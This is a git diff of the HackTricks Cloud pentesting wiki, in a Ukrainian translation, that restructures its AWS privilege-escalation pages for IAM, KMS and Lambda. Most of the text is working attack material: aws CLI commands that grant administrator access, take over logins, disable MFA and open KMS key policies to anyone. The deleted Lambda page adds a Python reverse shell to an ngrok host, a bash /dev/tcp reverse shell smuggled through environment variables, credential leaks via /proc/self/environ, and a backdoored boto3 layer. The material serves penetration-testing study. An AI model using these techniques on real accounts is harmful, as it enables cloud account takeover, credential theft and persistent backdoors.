-### **`iam:AddUserToGroup`** - -Дозволяє додавати себе до групи IAM, підвищуючи привілеї шляхом успадкування дозволів групи. - -**Експлуатація:** -```bash -aws iam add-user-to-group --group-name --user-name -``` -**Вплив:** Пряме підвищення привілеїв до рівня дозволів групи. - -### **`iam:UpdateAssumeRolePolicy`** - -Дозволяє змінювати документ політики припущення ролі, що дозволяє припустити роль та її асоційовані дозволи. - -**Експлуатація:** -```bash -aws iam update-assume-role-policy --role-name \ ---policy-document file:///path/to/assume/role/policy.json -``` -Де політика виглядає наступним чином, що надає користувачу дозвіл на прийняття ролі: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Action": "sts:AssumeRole", -"Principal": { -"AWS": "$USER_ARN" -} -} -] -} -``` -**Вплив:** Пряме підвищення привілеїв шляхом прийняття дозволів будь-якої ролі. - -### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** - -Дозволяє завантажувати SSH публічний ключ для автентифікації в CodeCommit та деактивувати MFA пристрої, що може призвести до потенційного непрямого підвищення привілеїв. - -**Експлуатація для завантаження SSH ключа:** -```bash -aws iam upload-ssh-public-key --user-name --ssh-public-key-body -``` -**Експлуатація для деактивації MFA:** -```bash -aws iam deactivate-mfa-device --user-name --serial-number -``` -**Вплив:** Непряме підвищення привілеїв шляхом надання доступу до CodeCommit або вимкнення захисту MFA. - -### **`iam:ResyncMFADevice`** - -Дозволяє повторну синхронізацію пристрою MFA, що потенційно може призвести до непрямого підвищення привілеїв шляхом маніпуляції захистом MFA. - -**Bash команда:** -```bash -aws iam resync-mfa-device --user-name --serial-number \ ---authentication-code1 --authentication-code2 -``` -**Вплив:** Непряме підвищення привілеїв шляхом додавання або маніпулювання пристроями MFA. - -### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) - -З цими дозволами ви можете **змінити XML-метадані SAML-з'єднання**. Потім ви могли б зловживати **SAML-федерацією** для **входу** з будь-якою **роллю, яка їй довіряє**. - -Зверніть увагу, що при цьому **легітимні користувачі не зможуть увійти**. Однак ви можете отримати XML, щоб вставити свій, увійти та налаштувати попереднє. -```bash -# List SAMLs -aws iam list-saml-providers - -# Optional: Get SAML provider XML -aws iam get-saml-provider --saml-provider-arn - -# Update SAML provider -aws iam update-saml-provider --saml-metadata-document --saml-provider-arn - -## Login impersonating roles that trust the SAML provider - -# Optional: Set the previous XML back -aws iam update-saml-provider --saml-metadata-document --saml-provider-arn -``` -> [!NOTE] -> TODO: Інструмент, здатний генерувати метадані SAML та входити з вказаною роллю - -### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) - -(Не впевнений у цьому) Якщо зловмисник має ці **дозволи**, він може додати новий **Thumbprint**, щоб мати можливість входити в усі ролі, які довіряють постачальнику. -```bash -# List providers -aws iam list-open-id-connect-providers -# Optional: Get Thumbprints used to not delete them -aws iam get-open-id-connect-provider --open-id-connect-provider-arn -# Update Thumbprints (The thumbprint is always a 40-character string) -aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3 -``` -## Посилання - -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md new file mode 100644 index 000000000..61f98a244 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -0,0 +1,235 @@ +# AWS - IAM Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## IAM + +Детальніше про IAM див.: + +{{#ref}} +../../aws-services/aws-iam-enum.md +{{#endref}} + +### **`iam:CreatePolicyVersion`** + +Надає можливість створювати нову версію політики IAM, оминаючи необхідність дозволу `iam:SetDefaultPolicyVersion` за допомогою прапорця `--set-as-default`. Це дозволяє визначати власні дозволи. + +**Exploit Command:** +```bash +aws iam create-policy-version --policy-arn \ +--policy-document file:///path/to/administrator/policy.json --set-as-default +``` +**Вплив:** Безпосередньо підвищує привілеї, дозволяючи виконувати будь-яку дію над будь-яким ресурсом. + +### **`iam:SetDefaultPolicyVersion`** + +Дозволяє змінити версію за замовчуванням політики IAM на іншу існуючу версію, що може призвести до підвищення привілеїв, якщо нова версія має більше дозволів. + +**Команда Bash:** +```bash +aws iam set-default-policy-version --policy-arn --version-id v2 +``` +**Вплив:** Косвене privilege escalation шляхом надання додаткових дозволів. + +### **`iam:CreateAccessKey`** + +Дозволяє створювати access key ID і secret access key для іншого користувача, що може призвести до privilege escalation. + +**Exploit:** +```bash +aws iam create-access-key --user-name +``` +**Вплив:** Пряме підвищення привілеїв шляхом присвоєння собі розширених дозволів іншого користувача. + +### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** + +Дозволяє створювати або оновлювати login profile, включно зі встановленням паролів для AWS console login, що призводить до прямого підвищення привілеїв. + +**Експлойт для створення:** +```bash +aws iam create-login-profile --user-name target_user --no-password-reset-required \ +--password '' +``` +**Exploit для оновлення:** +```bash +aws iam update-login-profile --user-name target_user --no-password-reset-required \ +--password '' +``` +**Вплив:** Пряме підвищення привілеїв шляхом входу як "будь-який" користувач. + +### **`iam:UpdateAccessKey`** + +Дозволяє увімкнути відключений access key, що потенційно може призвести до несанкціонованого доступу, якщо атакувач має цей відключений ключ. + +**Exploit:** +```bash +aws iam update-access-key --access-key-id --status Active --user-name +``` +**Вплив:** Пряме підвищення привілеїв шляхом реактивації access keys. + +### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** + +Дозволяє створювати або скидати credentials для конкретних AWS сервісів (наприклад, CodeCommit, Amazon Keyspaces), успадковуючи permissions пов'язаного користувача. + +**Експлойт для створення:** +```bash +aws iam create-service-specific-credential --user-name --service-name +``` +**Exploit для Reset:** +```bash +aws iam reset-service-specific-credential --service-specific-credential-id +``` +**Вплив:** Пряме підвищення привілеїв в межах дозволів сервісу користувача. + +### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** + +Дозволяє прикріплювати політики до користувачів або груп, безпосередньо підвищуючи привілеї шляхом успадкування дозволів прикріпленої політики. + +**Exploit for User:** +```bash +aws iam attach-user-policy --user-name --policy-arn "" +``` +**Exploit для Group:** +```bash +aws iam attach-group-policy --group-name --policy-arn "" +``` +**Вплив:** Пряме підвищення привілеїв до будь-чого, що дозволяє ця політика. + +### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** + +Дозволяє прикріплювати або додавати політики до ролей, користувачів або груп, що дозволяє пряме підвищення привілеїв через надання додаткових дозволів. + +**Exploit for Role:** +```bash +aws iam attach-role-policy --role-name --policy-arn "" +``` +**Exploit для Inline Policies:** +```bash +aws iam put-user-policy --user-name --policy-name "" \ +--policy-document "file:///path/to/policy.json" + +aws iam put-group-policy --group-name --policy-name "" \ +--policy-document file:///path/to/policy.json + +aws iam put-role-policy --role-name --policy-name "" \ +--policy-document file:///path/to/policy.json +``` +Ви можете використовувати політику на кшталт: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": ["*"], +"Resource": ["*"] +} +] +} +``` +**Вплив:** Пряме privilege escalation шляхом додавання дозволів через політики. + +### **`iam:AddUserToGroup`** + +Дозволяє додати себе до IAM-групи, escalating privileges шляхом успадкування дозволів цієї групи. + +**Exploit:** +```bash +aws iam add-user-to-group --group-name --user-name +``` +**Impact:** Пряме підвищення привілеїв до рівня дозволів групи. + +### **`iam:UpdateAssumeRolePolicy`** + +Дозволяє змінювати документ assume role policy ролі, що дає змогу виконувати assume role та отримувати пов'язані з нею дозволи. + +**Exploit:** +```bash +aws iam update-assume-role-policy --role-name \ +--policy-document file:///path/to/assume/role/policy.json +``` +Коли політика виглядає наступним чином і надає користувачу дозвіл взяти на себе роль: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sts:AssumeRole", +"Principal": { +"AWS": "$USER_ARN" +} +} +] +} +``` +**Вплив:** Пряме підвищення привілеїв шляхом отримання дозволів будь-якої ролі. + +### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** + +Дозволяє завантажувати публічний SSH-ключ для автентифікації в CodeCommit та деактивувати MFA-пристрої, що може призвести до потенційного непрямого підвищення привілеїв. + +**Експлойт для завантаження SSH-ключа:** +```bash +aws iam upload-ssh-public-key --user-name --ssh-public-key-body +``` +**Exploit для деактивації MFA:** +```bash +aws iam deactivate-mfa-device --user-name --serial-number +``` +**Вплив:** Опосередковане підвищення привілеїв шляхом надання доступу до CodeCommit або відключення захисту MFA. + +### **`iam:ResyncMFADevice`** + +Дозволяє ресинхронізацію MFA-пристрою, що потенційно може призвести до опосередкованого підвищення привілеїв через маніпуляції із захистом MFA. + +**Команда Bash:** +```bash +aws iam resync-mfa-device --user-name --serial-number \ +--authentication-code1 --authentication-code2 +``` +**Вплив:** Indirect privilege escalation by adding or manipulating MFA devices. + +### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) + +Маючи ці дозволи, ви можете **змінити XML метадані SAML-з'єднання**. Потім ви можете зловживати **SAML federation**, щоб **login** під будь-якою **role, яка їй довіряє**. + +Зауважте, що внаслідок цього **legit users won't be able to login**. Однак ви можете отримати XML, вставити свій, login і відновити попередні налаштування. +```bash +# List SAMLs +aws iam list-saml-providers + +# Optional: Get SAML provider XML +aws iam get-saml-provider --saml-provider-arn + +# Update SAML provider +aws iam update-saml-provider --saml-metadata-document --saml-provider-arn + +## Login impersonating roles that trust the SAML provider + +# Optional: Set the previous XML back +aws iam update-saml-provider --saml-metadata-document --saml-provider-arn +``` +> [!NOTE] +> TODO: Інструмент, здатний згенерувати метадані SAML і увійти з вказаною роллю + +### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) + +(Не впевнений у цьому) Якщо зловмисник має ці **дозволи**, він може додати новий **Thumbprint**, щоб мати можливість увійти у всі ролі, які довіряють провайдеру. +```bash +# List providers +aws iam list-open-id-connect-providers +# Optional: Get Thumbprints used to not delete them +aws iam get-open-id-connect-provider --open-id-connect-provider-arn +# Update Thumbprints (The thumbprint is always a 40-character string) +aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3 +``` +### `iam:PutUserPermissionsBoundary` + +Цей дозвіл дозволяє зловмиснику оновити permissions boundary користувача, потенційно призводячи до ескалації його привілеїв та дозволяючи виконувати дії, які зазвичай обмежені наявними дозволами. + +## Посилання + +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md deleted file mode 100644 index e40245a38..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ /dev/null @@ -1,110 +0,0 @@ -# AWS - KMS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## KMS - -Для отримання додаткової інформації про KMS перегляньте: - -{{#ref}} -../aws-services/aws-kms-enum.md -{{#endref}} - -### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`) - -З цими дозволами можливо **змінити дозволи доступу до ключа**, щоб його могли використовувати інші облікові записи або навіть будь-хто: -```bash -aws kms list-keys -aws kms list-key-policies --key-id # Although only 1 max per key -aws kms get-key-policy --key-id --policy-name -# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default") -aws kms put-key-policy --key-id --policy-name --policy file:///tmp/policy.json -``` -policy.json: -```json -{ -"Version": "2012-10-17", -"Id": "key-consolepolicy-3", -"Statement": [ -{ -"Sid": "Enable IAM User Permissions", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam:::root" -}, -"Action": "kms:*", -"Resource": "*" -}, -{ -"Sid": "Allow all use", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam:::root" -}, -"Action": ["kms:*"], -"Resource": "*" -} -] -} -``` -### `kms:CreateGrant` - -Це **дозволяє суб'єкту використовувати ключ KMS:** -```bash -aws kms create-grant \ ---key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ ---grantee-principal arn:aws:iam::123456789012:user/exampleUser \ ---operations Decrypt -``` -> [!WARNING] -> Грант може дозволяти лише певні типи операцій: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) - -> [!WARNING] -> Зверніть увагу, що може знадобитися кілька хвилин, щоб KMS **дозволив користувачу використовувати ключ після створення гранту**. Як тільки цей час мине, принципал може використовувати ключ KMS без необхідності вказувати щось.\ -> Однак, якщо потрібно використовувати грант негайно, [використовуйте токен гранту](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (перевірте наступний код).\ -> Для [**додаткової інформації прочитайте це**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). -```bash -# Use the grant token in a request -aws kms generate-data-key \ ---key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ -–-key-spec AES_256 \ ---grant-tokens $token -``` -Зверніть увагу, що можна перерахувати надання ключів за допомогою: -```bash -aws kms list-grants --key-id -``` -### `kms:CreateKey`, `kms:ReplicateKey` - -З цими дозволами можливо реплікувати ключ KMS, який підтримує кілька регіонів, в іншому регіоні з іншою політикою. - -Отже, зловмисник може зловживати цим, щоб отримати підвищення привілеїв до ключа та використовувати його. -```bash -aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml - -{ -"Version": "2012-10-17", -"Id": "key-consolepolicy-3", -"Statement": [ -{ -"Sid": "Enable IAM User Permissions", -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": "kms:*", -"Resource": "*" -} -] -} -``` -### `kms:Decrypt` - -Цей дозвіл дозволяє використовувати ключ для розшифровки деякої інформації.\ -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-post-exploitation/aws-kms-post-exploitation.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md new file mode 100644 index 000000000..950c872e0 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md @@ -0,0 +1,110 @@ +# AWS - KMS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## KMS + +Більше інформації про KMS див.: + +{{#ref}} +../../aws-services/aws-kms-enum.md +{{#endref}} + +### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`) + +З цими дозволами можна **змінити права доступу до ключа**, щоб ним могли користуватися інші акаунти або навіть будь-хто: +```bash +aws kms list-keys +aws kms list-key-policies --key-id # Although only 1 max per key +aws kms get-key-policy --key-id --policy-name +# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default") +aws kms put-key-policy --key-id --policy-name --policy file:///tmp/policy.json +``` +policy.json: +```json +{ +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow all use", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": ["kms:*"], +"Resource": "*" +} +] +} +``` +### `kms:CreateGrant` + +Ця дія **дозволяє principal використовувати KMS key:** +```bash +aws kms create-grant \ +--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ +--grantee-principal arn:aws:iam::123456789012:user/exampleUser \ +--operations Decrypt +``` +> [!WARNING] +> Grant може дозволяти лише певні типи операцій: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) + +> [!WARNING] +> Зауважте, що KMS може знадобитися кілька хвилин, щоб **дозволити користувачеві використовувати ключ після створення grant**. Після цього principal зможе використовувати KMS key без потреби вказувати щось.\ +> Однак, якщо потрібно використати grant негайно [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (див. наступний код).\ +> Для [**more info read this**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). +```bash +# Use the grant token in a request +aws kms generate-data-key \ +--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ +–-key-spec AES_256 \ +--grant-tokens $token +``` +Зверніть увагу, що можна перелічити гранти ключів за допомогою: +```bash +aws kms list-grants --key-id +``` +### `kms:CreateKey`, `kms:ReplicateKey` + +З цими дозволами можна реплікувати multi-region увімкнений KMS-ключ в інший регіон з іншою політикою. + +Отже, нападник може зловживати цим, щоб отримати privesc доступ до ключа та використати його. +```bash +aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml + +{ +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "kms:*", +"Resource": "*" +} +] +} +``` +### `kms:Decrypt` + +Цей дозвіл дозволяє використовувати ключ для розшифрування деякої інформації.\ +Для отримання додаткової інформації див.: + +{{#ref}} +../../aws-post-exploitation/aws-kms-post-exploitation/README.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md deleted file mode 100644 index c05e4fc5a..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ /dev/null @@ -1,324 +0,0 @@ -# AWS - Lambda Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## lambda - -Детальніше про lambda у: - -{{#ref}} -../aws-services/aws-lambda-enum.md -{{#endref}} - -### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) - -Користувачі з дозволами **`iam:PassRole`, `lambda:CreateFunction`, та `lambda:InvokeFunction`** можуть підвищити свої привілеї.\ -Вони можуть **створити нову Lambda function і призначити їй існуючу IAM role**, надаючи функції права, пов'язані з цією роллю. Користувач може потім **написати та завантажити код у цю Lambda function (наприклад, з rev shell)**.\ -Після налаштування функції користувач може **ініціювати її виконання** та виконати потрібні дії, викликавши Lambda function через AWS API. Такий підхід дозволяє користувачу опосередковано виконувати завдання через Lambda function, діючи з рівнем доступу, наданим пов'язаною IAM role.\\ - -Атакуючий може зловживати цим, щоб отримати **rev shell і вкрасти token**: -```python:rev.py -import socket,subprocess,os,time -def lambda_handler(event, context): -s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); -s.connect(('4.tcp.ngrok.io',14305)) -os.dup2(s.fileno(),0) -os.dup2(s.fileno(),1) -os.dup2(s.fileno(),2) -p=subprocess.call(['/bin/sh','-i']) -time.sleep(900) -return 0 -``` - -```bash -# Zip the rev shell -zip "rev.zip" "rev.py" - -# Create the function -aws lambda create-function --function-name my_function \ ---runtime python3.9 --role \ ---handler rev.lambda_handler --zip-file fileb://rev.zip - -# Invoke the function -aws lambda invoke --function-name my_function output.txt -## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL - -# List roles -aws iam list-attached-user-policies --user-name -``` -Ви також можете **зловживати дозволами ролі lambda** безпосередньо з самої функції lambda.\ -Якщо роль lambda має достатні дозволи, ви можете використати її, щоб надати собі права адміністратора: -```python -import boto3 -def lambda_handler(event, context): -client = boto3.client('iam') -response = client.attach_user_policy( -UserName='my_username', -PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' -) -return response -``` -Також можливо leak облікові дані ролі lambda без потреби у зовнішньому підключенні. Це буде корисно для **Network isolated Lambdas**, які використовуються для внутрішніх завдань. Якщо невідомі security groups фільтрують ваші reverse shells, цей фрагмент коду дозволить безпосередньо leak облікові дані як вивід lambda. -```python -def handler(event, context): -sessiontoken = open('/proc/self/environ', "r").read() -return { -'statusCode': 200, -'session': str(sessiontoken) -} -``` - -```bash -aws lambda invoke --function-name output.txt -cat output.txt -``` -**Potential Impact:** Пряме privesc до довільної ролі сервісу lambda, що вказана. - -> [!CAUTION] -> Зверніть увагу, що хоч **`lambda:InvokeAsync`** може виглядати цікавим, воно саме по собі **не дозволяє** виконати **`aws lambda invoke-async`** — потрібен також дозвіл `lambda:InvokeFunction` - -### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` - -Як і в попередньому сценарії, ви можете **надати собі дозвіл `lambda:InvokeFunction`**, якщо маєте дозвіл **`lambda:AddPermission`** -```bash -# Check the previous exploit and use the following line to grant you the invoke permissions -aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ ---action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" -``` -**Potential Impact:** Прямий privesc до довільної вказаної ролі сервісу Lambda. - -### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` - -Користувачі з **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** дозволами (а також, можливо, `dynamodb:PutItem` та `dynamodb:CreateTable`) можуть опосередковано **escalate privileges** навіть без `lambda:InvokeFunction`.\ -Вони можуть створити **Lambda function з шкідливим кодом і призначити їй існуючу IAM role**. - -Замість безпосереднього виклику Lambda, користувач налаштовує або використовує існуючу таблицю DynamoDB, пов’язуючи її з Lambda через event source mapping. Ця конфігурація гарантує, що Lambda function **автоматично запускається при додаванні нового елемента** до таблиці, чи то внаслідок дії користувача, чи іншого процесу, тим самим опосередковано викликаючи Lambda function і виконуючи код з дозволами переданої IAM role. -```bash -aws lambda create-function --function-name my_function \ ---runtime python3.8 --role \ ---handler lambda_function.lambda_handler \ ---zip-file fileb://rev.zip -``` -Якщо DynamoDB вже активний в середовищі AWS, користувачеві потрібно лише **встановити event source mapping** для функції Lambda. Однак, якщо DynamoDB не використовується, користувач повинен **створити нову таблицю** з увімкненими Streams: -```bash -aws dynamodb create-table --table-name my_table \ ---attribute-definitions AttributeName=Test,AttributeType=S \ ---key-schema AttributeName=Test,KeyType=HASH \ ---provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ ---stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES -``` -Тепер можна **підключити Lambda function до DynamoDB table** шляхом **створення event source mapping**: -```bash -aws lambda create-event-source-mapping --function-name my_function \ ---event-source-arn \ ---enabled --starting-position LATEST -``` -Якщо функція Lambda пов'язана з потоком DynamoDB, зловмисник може **опосередковано запустити Lambda, активувавши потік DynamoDB**. Це можна зробити, **вставивши елемент** у таблицю DynamoDB: -```bash -aws dynamodb put-item --table-name my_table \ ---item Test={S="Random string"} -``` -**Potential Impact:** Пряме privesc до зазначеної lambda service role. - -### `lambda:AddPermission` - -attacker з цим дозволом може **надавати собі (або іншим) будь-які дозволи** (це створює resource based policies для надання доступу до ресурсу): -```bash -# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) -aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: - -# Invoke the function -aws lambda invoke --function-name /tmp/outout -``` -**Potential Impact:** Пряме privesc до ролі сервісу lambda, що використовується, шляхом надання дозволу змінювати код та запускати його. - -### `lambda:AddLayerVersionPermission` - -Зловмисник з цим дозволом може **надавати собі (або іншим) дозвіл `lambda:GetLayerVersion`**. Він може отримати доступ до шару та шукати вразливості або конфіденційну інформацію -```bash -# Give everyone the permission lambda:GetLayerVersion -aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion -``` -**Potential Impact:** Можливий доступ до конфіденційної інформації. - -### `lambda:UpdateFunctionCode` - -Користувачі, які мають **`lambda:UpdateFunctionCode`** дозвіл, можуть **змінити код існуючої Lambda-функції, що пов'язана з IAM role.**\ -Зловмисник може **змінити код Lambda, щоб екзфільтрувати облікові дані IAM**. - -Хоча зловмисник може не мати прямої можливості викликати функцію, якщо Lambda-функція вже існує та працює, ймовірно, вона буде запускатися через існуючі робочі процеси або події, що опосередковано дозволить виконати змінений код. -```bash -# The zip should contain the lambda code (trick: Download the current one and add your code there) -aws lambda update-function-code --function-name target_function \ ---zip-file fileb:///my/lambda/code/zipped.zip - -# If you have invoke permissions: -aws lambda invoke --function-name my_function output.txt - -# If not check if it's exposed in any URL or via an API gateway you could access -``` -**Можливий вплив:** Пряме privesc до ролі сервісу lambda, що використовується. - -### `lambda:UpdateFunctionConfiguration` - -#### RCE via env variables - -Маючи ці дозволи, можна додати environment variables, які призведуть до виконання Lambda довільного коду. Наприклад, у python можна зловживати змінними середовища `PYTHONWARNING` та `BROWSER`, щоб змусити python-процес виконувати довільні команди: -```bash -aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" -``` -Для інших скриптових мов існують інші змінні середовища (env variables), які ви можете використовувати. Для додаткової інформації перегляньте підрозділи про скриптові мови у: - -{{#ref}} -https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html -{{#endref}} - -#### RCE via Lambda Layers - -[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) дозволяє включати **code** в вашу lamdba функцію, але **зберігати його окремо**, тож код функції може залишатися невеликим і **кілька функцій можуть ділитися кодом**. - -Всередині lambda ви можете перевірити шляхи, звідки завантажується python code, за допомогою функції на кшталт наступної: -```python -import json -import sys - -def lambda_handler(event, context): -print(json.dumps(sys.path, indent=2)) -``` -These are the places: - -1. /var/task -2. /opt/python/lib/python3.7/site-packages -3. /opt/python -4. /var/runtime -5. /var/lang/lib/python37.zip -6. /var/lang/lib/python3.7 -7. /var/lang/lib/python3.7/lib-dynload -8. /var/lang/lib/python3.7/site-packages -9. /opt/python/lib/python3.7/site-packages -10. /opt/python - -For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position). - -#### Exploitation - -It's possible to abuse the permission `lambda:UpdateFunctionConfiguration` to **add a new layer** to a lambda function. To execute arbitrary code this layer need to contain some **library that the lambda is going to import.** If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is **already using a layer** and you could **download** the layer and **add your code** in there. - -For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library: -```bash -pip3 install -t ./lambda_layer boto3 -``` -Ви можете відкрити `./lambda_layer/boto3/__init__.py` і **додати backdoor у глобальний код** (наприклад, функцію для exfiltrate credentials або отримання reverse shell). - -Потім заархівуйте директорію `./lambda_layer` і **завантажте новий lambda layer** у свій акаунт (або в акаунт жертви, але можливо у вас немає на це прав).\ -Зверніть увагу, що потрібно створити папку python і помістити туди бібліотеки, щоб перевизначити /opt/python/boto3. Також layer має бути **compatible with the python version** яку використовує lambda, і якщо ви завантажуєте його у свій акаунт, він має бути в **same region:** -```bash -aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" -``` -Тепер зробіть завантажений lambda layer **доступним для будь-якого облікового запису**: -```bash -aws lambda add-layer-version-permission --layer-name boto3 \ ---version-number 1 --statement-id public \ ---action lambda:GetLayerVersion --principal * -``` -І прикріпіть lambda layer до victim lambda function: -```bash -aws lambda update-function-configuration \ ---function-name \ ---layers arn:aws:lambda:::layer:boto3:1 \ ---timeout 300 #5min for rev shells -``` -Наступним кроком буде або **викликати функцію** самому, якщо це можливо, або почекати, поки **вона буде викликана** звичайним способом — що є безпечнішим методом. - -Більш прихований спосіб експлуатації цієї вразливості можна знайти в: - -{{#ref}} -../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md -{{#endref}} - -**Potential Impact:** Прямий privesc до ролі сервісу lambda, що використовується. - -### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` - -Можливо, з такими дозволами ви зможете створити функцію і виконати її, викликавши URL... але я не знайшов способу протестувати це, тому дайте знати, якщо вам вдасться! - -### Lambda MitM - -Деякі lambda будуть **отримувати конфіденційні дані від користувачів у параметрах.** Якщо отримати RCE в одній з них, ви можете exfiltrate інформацію, яку інші користувачі надсилають до неї; див.: - -{{#ref}} -../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md -{{#endref}} - -## Посилання - -- 